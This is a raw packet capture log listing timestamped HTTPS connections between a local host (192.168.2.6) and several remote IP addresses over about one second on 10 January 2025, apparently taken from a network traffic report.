Jan 10, 2025 00:51:38.275432110 CET	443	49778	199.91.74.185	192.168.2.6
Jan 10, 2025 00:51:38.275507927 CET	49778	443	192.168.2.6	199.91.74.185
Jan 10, 2025 00:51:38.275517941 CET	443	49778	199.91.74.185	192.168.2.6
Jan 10, 2025 00:51:38.275557041 CET	49778	443	192.168.2.6	199.91.74.185
Jan 10, 2025 00:51:38.276130915 CET	443	49778	199.91.74.185	192.168.2.6
Jan 10, 2025 00:51:38.276201963 CET	49778	443	192.168.2.6	199.91.74.185
Jan 10, 2025 00:51:38.276209116 CET	443	49778	199.91.74.185	192.168.2.6
Jan 10, 2025 00:51:38.276283026 CET	49778	443	192.168.2.6	199.91.74.185
Jan 10, 2025 00:51:38.276381016 CET	49778	443	192.168.2.6	199.91.74.185
Jan 10, 2025 00:51:38.276391983 CET	443	49778	199.91.74.185	192.168.2.6
Jan 10, 2025 00:51:38.276402950 CET	49778	443	192.168.2.6	199.91.74.185
Jan 10, 2025 00:51:38.276458979 CET	49778	443	192.168.2.6	199.91.74.185
Jan 10, 2025 00:51:38.289248943 CET	49789	443	192.168.2.6	38.165.16.38
Jan 10, 2025 00:51:38.293615103 CET	443	49793	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:38.293642044 CET	443	49793	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:38.293651104 CET	443	49793	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:38.293663979 CET	443	49793	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:38.293678045 CET	443	49793	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:38.293699026 CET	49793	443	192.168.2.6	38.165.16.38
Jan 10, 2025 00:51:38.293714046 CET	443	49793	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:38.293730974 CET	49793	443	192.168.2.6	38.165.16.38
Jan 10, 2025 00:51:38.293864965 CET	49793	443	192.168.2.6	38.165.16.38
Jan 10, 2025 00:51:38.300302982 CET	443	49789	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:38.300322056 CET	443	49789	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:38.300698996 CET	49789	443	192.168.2.6	38.165.16.38
Jan 10, 2025 00:51:38.300698996 CET	49789	443	192.168.2.6	38.165.16.38
Jan 10, 2025 00:51:38.300708055 CET	443	49789	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:38.300789118 CET	49789	443	192.168.2.6	38.165.16.38
Jan 10, 2025 00:51:38.313184977 CET	443	49793	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:38.313200951 CET	443	49793	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:38.313247919 CET	49793	443	192.168.2.6	38.165.16.38
Jan 10, 2025 00:51:38.313261986 CET	443	49793	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:38.313296080 CET	49793	443	192.168.2.6	38.165.16.38
Jan 10, 2025 00:51:38.319963932 CET	49792	443	192.168.2.6	38.165.16.38
Jan 10, 2025 00:51:38.320811033 CET	443	49796	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:38.320857048 CET	443	49796	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:38.320875883 CET	443	49796	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:38.320914984 CET	443	49796	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:38.320916891 CET	49796	443	192.168.2.6	38.165.16.38
Jan 10, 2025 00:51:38.320957899 CET	443	49796	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:38.320971012 CET	443	49796	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:38.320982933 CET	49796	443	192.168.2.6	38.165.16.38
Jan 10, 2025 00:51:38.320993900 CET	49796	443	192.168.2.6	38.165.16.38
Jan 10, 2025 00:51:38.321017981 CET	49796	443	192.168.2.6	38.165.16.38
Jan 10, 2025 00:51:38.327136993 CET	443	49792	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:38.327145100 CET	443	49792	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:38.327182055 CET	443	49792	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:38.327203989 CET	49792	443	192.168.2.6	38.165.16.38
Jan 10, 2025 00:51:38.327214003 CET	443	49792	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:38.327244997 CET	49792	443	192.168.2.6	38.165.16.38
Jan 10, 2025 00:51:38.330406904 CET	49811	443	192.168.2.6	38.165.16.38
Jan 10, 2025 00:51:38.330444098 CET	443	49811	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:38.330495119 CET	49811	443	192.168.2.6	38.165.16.38
Jan 10, 2025 00:51:38.330605030 CET	443	49789	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:38.330621004 CET	443	49789	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:38.330687046 CET	49789	443	192.168.2.6	38.165.16.38
Jan 10, 2025 00:51:38.330693007 CET	443	49789	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:38.330705881 CET	49811	443	192.168.2.6	38.165.16.38
Jan 10, 2025 00:51:38.330722094 CET	443	49811	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:38.330753088 CET	49789	443	192.168.2.6	38.165.16.38
Jan 10, 2025 00:51:38.330852985 CET	49789	443	192.168.2.6	38.165.16.38
Jan 10, 2025 00:51:38.332016945 CET	443	49789	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:38.332034111 CET	443	49789	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:38.332107067 CET	49789	443	192.168.2.6	38.165.16.38
Jan 10, 2025 00:51:38.332107067 CET	49789	443	192.168.2.6	38.165.16.38
Jan 10, 2025 00:51:38.332112074 CET	443	49789	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:38.332153082 CET	49789	443	192.168.2.6	38.165.16.38
Jan 10, 2025 00:51:38.336370945 CET	443	49796	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:38.336414099 CET	443	49796	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:38.336469889 CET	49796	443	192.168.2.6	38.165.16.38
Jan 10, 2025 00:51:38.336504936 CET	443	49796	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:38.336522102 CET	49796	443	192.168.2.6	38.165.16.38
Jan 10, 2025 00:51:38.342261076 CET	443	49776	172.67.74.191	192.168.2.6
Jan 10, 2025 00:51:38.342348099 CET	49776	443	192.168.2.6	172.67.74.191
Jan 10, 2025 00:51:38.346805096 CET	443	49793	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:38.346836090 CET	443	49793	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:38.346865892 CET	443	49793	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:38.346904039 CET	49793	443	192.168.2.6	38.165.16.38
Jan 10, 2025 00:51:38.346972942 CET	49793	443	192.168.2.6	38.165.16.38
Jan 10, 2025 00:51:38.347147942 CET	49793	443	192.168.2.6	38.165.16.38
Jan 10, 2025 00:51:38.347170115 CET	443	49793	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:38.347625017 CET	443	49789	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:38.347640038 CET	443	49789	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:38.347755909 CET	49789	443	192.168.2.6	38.165.16.38
Jan 10, 2025 00:51:38.347762108 CET	443	49789	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:38.347815037 CET	49789	443	192.168.2.6	38.165.16.38
Jan 10, 2025 00:51:38.355258942 CET	443	49803	172.67.74.191	192.168.2.6
Jan 10, 2025 00:51:38.355551004 CET	49803	443	192.168.2.6	172.67.74.191
Jan 10, 2025 00:51:38.355557919 CET	443	49803	172.67.74.191	192.168.2.6
Jan 10, 2025 00:51:38.355870008 CET	443	49803	172.67.74.191	192.168.2.6
Jan 10, 2025 00:51:38.356206894 CET	49803	443	192.168.2.6	172.67.74.191
Jan 10, 2025 00:51:38.356272936 CET	443	49803	172.67.74.191	192.168.2.6
Jan 10, 2025 00:51:38.356283903 CET	443	49792	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:38.356298923 CET	443	49792	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:38.356372118 CET	49792	443	192.168.2.6	38.165.16.38
Jan 10, 2025 00:51:38.356379032 CET	443	49792	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:38.356415033 CET	49792	443	192.168.2.6	38.165.16.38
Jan 10, 2025 00:51:38.356523037 CET	49803	443	192.168.2.6	172.67.74.191
Jan 10, 2025 00:51:38.358022928 CET	443	49792	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:38.358052015 CET	443	49792	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:38.358082056 CET	49792	443	192.168.2.6	38.165.16.38
Jan 10, 2025 00:51:38.358087063 CET	443	49792	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:38.358139992 CET	49792	443	192.168.2.6	38.165.16.38
Jan 10, 2025 00:51:38.359102011 CET	443	49792	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:38.359152079 CET	443	49792	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:38.359164000 CET	49792	443	192.168.2.6	38.165.16.38
Jan 10, 2025 00:51:38.359173059 CET	443	49792	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:38.359195948 CET	443	49792	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:38.359198093 CET	49792	443	192.168.2.6	38.165.16.38
Jan 10, 2025 00:51:38.359220028 CET	49792	443	192.168.2.6	38.165.16.38
Jan 10, 2025 00:51:38.359249115 CET	49792	443	192.168.2.6	38.165.16.38
Jan 10, 2025 00:51:38.359540939 CET	49792	443	192.168.2.6	38.165.16.38
Jan 10, 2025 00:51:38.359551907 CET	443	49792	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:38.382872105 CET	49796	443	192.168.2.6	38.165.16.38
Jan 10, 2025 00:51:38.385266066 CET	49814	443	192.168.2.6	38.165.16.38
Jan 10, 2025 00:51:38.385308027 CET	443	49814	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:38.385364056 CET	49814	443	192.168.2.6	38.165.16.38
Jan 10, 2025 00:51:38.385699987 CET	49814	443	192.168.2.6	38.165.16.38
Jan 10, 2025 00:51:38.385715008 CET	443	49814	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:38.387176991 CET	443	49789	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:38.387213945 CET	443	49789	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:38.387258053 CET	49789	443	192.168.2.6	38.165.16.38
Jan 10, 2025 00:51:38.387265921 CET	443	49789	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:38.387330055 CET	49789	443	192.168.2.6	38.165.16.38
Jan 10, 2025 00:51:38.388987064 CET	443	49804	172.67.74.191	192.168.2.6
Jan 10, 2025 00:51:38.389328957 CET	49804	443	192.168.2.6	172.67.74.191
Jan 10, 2025 00:51:38.389347076 CET	443	49804	172.67.74.191	192.168.2.6
Jan 10, 2025 00:51:38.392941952 CET	443	49804	172.67.74.191	192.168.2.6
Jan 10, 2025 00:51:38.393331051 CET	49804	443	192.168.2.6	172.67.74.191
Jan 10, 2025 00:51:38.393373966 CET	49804	443	192.168.2.6	172.67.74.191
Jan 10, 2025 00:51:38.393440008 CET	443	49804	172.67.74.191	192.168.2.6
Jan 10, 2025 00:51:38.393506050 CET	49804	443	192.168.2.6	172.67.74.191
Jan 10, 2025 00:51:38.393512011 CET	443	49804	172.67.74.191	192.168.2.6
Jan 10, 2025 00:51:38.399333000 CET	443	49803	172.67.74.191	192.168.2.6
Jan 10, 2025 00:51:38.407608986 CET	443	49796	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:38.407665968 CET	443	49796	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:38.407718897 CET	49796	443	192.168.2.6	38.165.16.38
Jan 10, 2025 00:51:38.407737017 CET	443	49796	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:38.407757998 CET	49796	443	192.168.2.6	38.165.16.38
Jan 10, 2025 00:51:38.407779932 CET	49796	443	192.168.2.6	38.165.16.38
Jan 10, 2025 00:51:38.416989088 CET	443	49789	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:38.417017937 CET	443	49789	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:38.417068005 CET	49789	443	192.168.2.6	38.165.16.38
Jan 10, 2025 00:51:38.417081118 CET	443	49789	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:38.417124033 CET	49789	443	192.168.2.6	38.165.16.38
Jan 10, 2025 00:51:38.418953896 CET	49789	443	192.168.2.6	38.165.16.38
Jan 10, 2025 00:51:38.418979883 CET	443	49789	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:38.422640085 CET	443	49796	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:38.422662973 CET	443	49796	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:38.422724962 CET	49796	443	192.168.2.6	38.165.16.38
Jan 10, 2025 00:51:38.422734022 CET	443	49796	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:38.422763109 CET	49796	443	192.168.2.6	38.165.16.38
Jan 10, 2025 00:51:38.422782898 CET	49796	443	192.168.2.6	38.165.16.38
Jan 10, 2025 00:51:38.423788071 CET	443	49796	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:38.423840046 CET	443	49796	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:38.423850060 CET	49796	443	192.168.2.6	38.165.16.38
Jan 10, 2025 00:51:38.423858881 CET	443	49796	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:38.423871040 CET	443	49796	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:38.423883915 CET	49796	443	192.168.2.6	38.165.16.38
Jan 10, 2025 00:51:38.423897028 CET	49796	443	192.168.2.6	38.165.16.38
Jan 10, 2025 00:51:38.423928976 CET	49796	443	192.168.2.6	38.165.16.38
Jan 10, 2025 00:51:38.432703018 CET	49796	443	192.168.2.6	38.165.16.38
Jan 10, 2025 00:51:38.432718039 CET	443	49796	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:38.444367886 CET	49804	443	192.168.2.6	172.67.74.191
Jan 10, 2025 00:51:38.457051992 CET	443	49776	172.67.74.191	192.168.2.6
Jan 10, 2025 00:51:38.457138062 CET	49776	443	192.168.2.6	172.67.74.191
Jan 10, 2025 00:51:38.457973957 CET	443	49776	172.67.74.191	192.168.2.6
Jan 10, 2025 00:51:38.458024025 CET	49776	443	192.168.2.6	172.67.74.191
Jan 10, 2025 00:51:38.458153009 CET	443	49776	172.67.74.191	192.168.2.6
Jan 10, 2025 00:51:38.458219051 CET	49776	443	192.168.2.6	172.67.74.191
Jan 10, 2025 00:51:38.458247900 CET	443	49776	172.67.74.191	192.168.2.6
Jan 10, 2025 00:51:38.458292007 CET	443	49776	172.67.74.191	192.168.2.6
Jan 10, 2025 00:51:38.458333015 CET	49776	443	192.168.2.6	172.67.74.191
Jan 10, 2025 00:51:38.458344936 CET	443	49776	172.67.74.191	192.168.2.6
Jan 10, 2025 00:51:38.458359003 CET	443	49776	172.67.74.191	192.168.2.6
Jan 10, 2025 00:51:38.458410978 CET	49776	443	192.168.2.6	172.67.74.191
Jan 10, 2025 00:51:38.458410978 CET	49776	443	192.168.2.6	172.67.74.191
Jan 10, 2025 00:51:38.459733963 CET	49776	443	192.168.2.6	172.67.74.191
Jan 10, 2025 00:51:38.459750891 CET	443	49776	172.67.74.191	192.168.2.6
Jan 10, 2025 00:51:38.655733109 CET	49821	443	192.168.2.6	38.165.16.38
Jan 10, 2025 00:51:38.655770063 CET	443	49821	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:38.655831099 CET	49821	443	192.168.2.6	38.165.16.38
Jan 10, 2025 00:51:38.657274961 CET	49821	443	192.168.2.6	38.165.16.38
Jan 10, 2025 00:51:38.657288074 CET	443	49821	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:38.863013029 CET	49824	443	192.168.2.6	90.84.164.16
Jan 10, 2025 00:51:38.863063097 CET	443	49824	90.84.164.16	192.168.2.6
Jan 10, 2025 00:51:38.863138914 CET	49824	443	192.168.2.6	90.84.164.16
Jan 10, 2025 00:51:38.863421917 CET	49824	443	192.168.2.6	90.84.164.16
Jan 10, 2025 00:51:38.863439083 CET	443	49824	90.84.164.16	192.168.2.6
Jan 10, 2025 00:51:38.884784937 CET	443	49806	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:38.885052919 CET	49806	443	192.168.2.6	38.165.16.38
Jan 10, 2025 00:51:38.885085106 CET	443	49806	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:38.885415077 CET	443	49806	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:38.885740995 CET	49806	443	192.168.2.6	38.165.16.38
Jan 10, 2025 00:51:38.885802031 CET	443	49806	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:38.885891914 CET	49806	443	192.168.2.6	38.165.16.38
Jan 10, 2025 00:51:38.902798891 CET	443	49807	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:38.903073072 CET	49807	443	192.168.2.6	38.165.16.38
Jan 10, 2025 00:51:38.903115034 CET	443	49807	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:38.903479099 CET	443	49807	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:38.904109001 CET	49807	443	192.168.2.6	38.165.16.38
Jan 10, 2025 00:51:38.904171944 CET	443	49807	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:38.904269934 CET	49807	443	192.168.2.6	38.165.16.38
Jan 10, 2025 00:51:38.911523104 CET	443	49808	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:38.912219048 CET	49808	443	192.168.2.6	38.165.16.38
Jan 10, 2025 00:51:38.912250996 CET	443	49808	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:38.913079977 CET	443	49808	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:38.913425922 CET	49808	443	192.168.2.6	38.165.16.38
Jan 10, 2025 00:51:38.913513899 CET	443	49808	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:38.913549900 CET	49808	443	192.168.2.6	38.165.16.38
Jan 10, 2025 00:51:38.919279099 CET	443	49809	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:38.919532061 CET	49809	443	192.168.2.6	38.165.16.38
Jan 10, 2025 00:51:38.919544935 CET	443	49809	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:38.919816017 CET	443	49809	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:38.920130968 CET	49809	443	192.168.2.6	38.165.16.38
Jan 10, 2025 00:51:38.920173883 CET	443	49809	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:38.920423985 CET	49809	443	192.168.2.6	38.165.16.38
Jan 10, 2025 00:51:38.927333117 CET	443	49806	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:38.934055090 CET	49825	443	192.168.2.6	148.153.240.68
Jan 10, 2025 00:51:38.934101105 CET	443	49825	148.153.240.68	192.168.2.6
Jan 10, 2025 00:51:38.934181929 CET	49825	443	192.168.2.6	148.153.240.68
Jan 10, 2025 00:51:38.934446096 CET	49825	443	192.168.2.6	148.153.240.68
Jan 10, 2025 00:51:38.934459925 CET	443	49825	148.153.240.68	192.168.2.6
Jan 10, 2025 00:51:38.944972992 CET	49807	443	192.168.2.6	38.165.16.38
Jan 10, 2025 00:51:38.944981098 CET	443	49807	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:38.951760054 CET	443	49810	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:38.951988935 CET	49810	443	192.168.2.6	38.165.16.38
Jan 10, 2025 00:51:38.952008009 CET	443	49810	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:38.952877045 CET	443	49810	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:38.952959061 CET	49810	443	192.168.2.6	38.165.16.38
Jan 10, 2025 00:51:38.953289032 CET	49810	443	192.168.2.6	38.165.16.38
Jan 10, 2025 00:51:38.953346968 CET	443	49810	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:38.953412056 CET	49810	443	192.168.2.6	38.165.16.38
Jan 10, 2025 00:51:38.953421116 CET	443	49810	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:38.955332041 CET	443	49808	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:38.960279942 CET	49808	443	192.168.2.6	38.165.16.38
Jan 10, 2025 00:51:38.963330030 CET	443	49809	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:39.005942106 CET	49810	443	192.168.2.6	38.165.16.38
Jan 10, 2025 00:51:39.045361996 CET	443	49811	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:39.045701027 CET	49811	443	192.168.2.6	38.165.16.38
Jan 10, 2025 00:51:39.045713902 CET	443	49811	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:39.046654940 CET	443	49811	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:39.046734095 CET	49811	443	192.168.2.6	38.165.16.38
Jan 10, 2025 00:51:39.047130108 CET	49811	443	192.168.2.6	38.165.16.38
Jan 10, 2025 00:51:39.047199011 CET	443	49811	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:39.047300100 CET	49811	443	192.168.2.6	38.165.16.38
Jan 10, 2025 00:51:39.047306061 CET	443	49811	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:39.065655947 CET	443	49814	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:39.066735029 CET	49814	443	192.168.2.6	38.165.16.38
Jan 10, 2025 00:51:39.066749096 CET	443	49814	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:39.067795038 CET	443	49814	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:39.067857981 CET	49814	443	192.168.2.6	38.165.16.38
Jan 10, 2025 00:51:39.068213940 CET	49814	443	192.168.2.6	38.165.16.38
Jan 10, 2025 00:51:39.068275928 CET	443	49814	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:39.068381071 CET	49814	443	192.168.2.6	38.165.16.38
Jan 10, 2025 00:51:39.100668907 CET	49811	443	192.168.2.6	38.165.16.38
Jan 10, 2025 00:51:39.111332893 CET	443	49814	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:39.115468979 CET	49814	443	192.168.2.6	38.165.16.38
Jan 10, 2025 00:51:39.115477085 CET	443	49814	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:39.141418934 CET	443	49806	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:39.141438007 CET	443	49806	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:39.141488075 CET	443	49806	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:39.141515970 CET	49806	443	192.168.2.6	38.165.16.38
Jan 10, 2025 00:51:39.141540051 CET	49806	443	192.168.2.6	38.165.16.38
Jan 10, 2025 00:51:39.143507957 CET	49806	443	192.168.2.6	38.165.16.38
Jan 10, 2025 00:51:39.143524885 CET	443	49806	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:39.150954962 CET	49826	443	192.168.2.6	38.165.16.38
Jan 10, 2025 00:51:39.150989056 CET	443	49826	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:39.151124954 CET	49826	443	192.168.2.6	38.165.16.38
Jan 10, 2025 00:51:39.151484966 CET	49826	443	192.168.2.6	38.165.16.38
Jan 10, 2025 00:51:39.151500940 CET	443	49826	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:39.152203083 CET	49827	443	192.168.2.6	38.165.16.38
Jan 10, 2025 00:51:39.152230978 CET	443	49827	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:39.152420044 CET	49827	443	192.168.2.6	38.165.16.38
Jan 10, 2025 00:51:39.152772903 CET	49828	443	192.168.2.6	38.165.16.38
Jan 10, 2025 00:51:39.152803898 CET	443	49828	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:39.152858973 CET	49828	443	192.168.2.6	38.165.16.38
Jan 10, 2025 00:51:39.152990103 CET	49827	443	192.168.2.6	38.165.16.38
Jan 10, 2025 00:51:39.153004885 CET	443	49827	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:39.153264999 CET	49828	443	192.168.2.6	38.165.16.38
Jan 10, 2025 00:51:39.153280973 CET	443	49828	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:39.154973984 CET	49829	443	192.168.2.6	38.165.16.38
Jan 10, 2025 00:51:39.154992104 CET	443	49829	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:39.155086994 CET	49829	443	192.168.2.6	38.165.16.38
Jan 10, 2025 00:51:39.155519009 CET	49829	443	192.168.2.6	38.165.16.38
Jan 10, 2025 00:51:39.155531883 CET	443	49829	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:39.157440901 CET	443	49807	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:39.157502890 CET	443	49807	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:39.157558918 CET	49807	443	192.168.2.6	38.165.16.38
Jan 10, 2025 00:51:39.157572031 CET	443	49807	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:39.157651901 CET	443	49807	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:39.157896042 CET	49807	443	192.168.2.6	38.165.16.38
Jan 10, 2025 00:51:39.158857107 CET	49807	443	192.168.2.6	38.165.16.38
Jan 10, 2025 00:51:39.158864975 CET	443	49807	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:39.163475990 CET	443	49808	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:39.163541079 CET	443	49808	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:39.163561106 CET	443	49808	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:39.163598061 CET	443	49808	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:39.163603067 CET	49814	443	192.168.2.6	38.165.16.38
Jan 10, 2025 00:51:39.163619995 CET	49808	443	192.168.2.6	38.165.16.38
Jan 10, 2025 00:51:39.163639069 CET	443	49808	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:39.163660049 CET	49808	443	192.168.2.6	38.165.16.38
Jan 10, 2025 00:51:39.163758039 CET	443	49808	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:39.163824081 CET	49808	443	192.168.2.6	38.165.16.38
Jan 10, 2025 00:51:39.165385962 CET	49830	443	192.168.2.6	38.165.16.38
Jan 10, 2025 00:51:39.165396929 CET	443	49830	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:39.165628910 CET	49830	443	192.168.2.6	38.165.16.38
Jan 10, 2025 00:51:39.166134119 CET	49830	443	192.168.2.6	38.165.16.38
Jan 10, 2025 00:51:39.166146994 CET	443	49830	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:39.166578054 CET	49808	443	192.168.2.6	38.165.16.38
Jan 10, 2025 00:51:39.166594028 CET	443	49808	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:39.170305967 CET	49831	443	192.168.2.6	38.165.16.38
Jan 10, 2025 00:51:39.170316935 CET	443	49831	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:39.170661926 CET	49831	443	192.168.2.6	38.165.16.38
Jan 10, 2025 00:51:39.171158075 CET	49831	443	192.168.2.6	38.165.16.38
Jan 10, 2025 00:51:39.171169996 CET	443	49831	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:39.172599077 CET	443	49809	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:39.172621012 CET	443	49809	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:39.172667027 CET	49809	443	192.168.2.6	38.165.16.38
Jan 10, 2025 00:51:39.172676086 CET	443	49809	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:39.172693014 CET	443	49809	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:39.172728062 CET	49809	443	192.168.2.6	38.165.16.38
Jan 10, 2025 00:51:39.175394058 CET	49809	443	192.168.2.6	38.165.16.38
Jan 10, 2025 00:51:39.175401926 CET	443	49809	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:39.187047958 CET	443	49799	172.67.74.191	192.168.2.6
Jan 10, 2025 00:51:39.187110901 CET	443	49799	172.67.74.191	192.168.2.6
Jan 10, 2025 00:51:39.187146902 CET	443	49799	172.67.74.191	192.168.2.6
Jan 10, 2025 00:51:39.187161922 CET	49799	443	192.168.2.6	172.67.74.191
Jan 10, 2025 00:51:39.187176943 CET	443	49799	172.67.74.191	192.168.2.6
Jan 10, 2025 00:51:39.187215090 CET	49799	443	192.168.2.6	172.67.74.191
Jan 10, 2025 00:51:39.187217951 CET	443	49799	172.67.74.191	192.168.2.6
Jan 10, 2025 00:51:39.187231064 CET	443	49799	172.67.74.191	192.168.2.6
Jan 10, 2025 00:51:39.187273026 CET	49799	443	192.168.2.6	172.67.74.191
Jan 10, 2025 00:51:39.187279940 CET	443	49799	172.67.74.191	192.168.2.6
Jan 10, 2025 00:51:39.187339067 CET	443	49799	172.67.74.191	192.168.2.6
Jan 10, 2025 00:51:39.187380075 CET	443	49799	172.67.74.191	192.168.2.6
Jan 10, 2025 00:51:39.187422991 CET	49799	443	192.168.2.6	172.67.74.191
Jan 10, 2025 00:51:39.187431097 CET	443	49799	172.67.74.191	192.168.2.6
Jan 10, 2025 00:51:39.187498093 CET	49799	443	192.168.2.6	172.67.74.191
Jan 10, 2025 00:51:39.191772938 CET	443	49799	172.67.74.191	192.168.2.6
